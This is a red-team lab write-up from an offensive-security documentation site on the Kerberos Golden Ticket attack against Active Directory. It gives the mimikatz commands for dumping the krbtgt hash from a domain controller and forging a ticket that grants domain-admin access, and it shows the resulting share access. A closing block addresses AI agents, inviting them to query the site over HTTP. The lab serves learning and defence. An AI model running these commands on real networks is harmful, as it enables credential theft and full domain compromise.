# Kerberos: Golden Tickets

This lab explores an attack on Active Directory Kerberos Authentication. To be more precise - an attack that forges Kerberos Ticket Granting Tickets (TGT) that are used to authenticate users with Kerberos. TGTs are used when requesting Ticket Granting Service (TGS) tickets, which means a forged TGT can get us any TGS ticket - hence it's golden.

This attack assumes a Domain Controller compromise where `KRBTGT` account hash will be extracted which is a requirement for a successful Golden Ticket attack.

## Execution

Extracting the krbtgt account's password `NTLM` hash:

{% code title="attacker\@victim-dc" %}

```csharp
mimikatz # lsadump::lsa /inject /name:krbtgt
```

{% endcode %}

![](/files/-LKTTGoQCPbfhNOZvn0j)

Creating a forged golden ticket that automatically gets injected in current logon session's memory:

{% code title="attacker\@victim-workstation" %}

```
mimikatz # kerberos::golden /domain:offense.local /sid:S-1-5-21-4172452648-1021989953-2368502130 /rc4:8584cfccd24f6a7f49ee56355d41bd30 /user:newAdmin /id:500 /ptt
```

{% endcode %}

![](/files/-LKTThyikYYAfLYaxQHH)

Checking if the ticket got created:

![](/files/-LKTTt1PNSbb4q3pKN__)

Opening another powershell console with low privileged account and trying to mount a `c$` share of `pc-mantvydas` and `dc-mantvydas` - not surprisingly, returns access denied:

![](/files/-LKTUC-jFCwRhZEmHe4f)

However, switching back to the console the attacker used to create the golden ticket (local admin) and again attempting to access `c$` share of the domain controller - this time is a success:

![](/files/-LKTUnwdX3d7NvIED1zX)

## Observations

![](/files/-LKTaCJ_9NhLBtCKSbdV)

![](/files/-LKTaENWErVWi2AfvFKX)

## References

{% embed url="<https://blog.stealthbits.com/complete-domain-compromise-with-golden-tickets/>" %}

{% embed url="<https://adsecurity.org/?p=1515>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
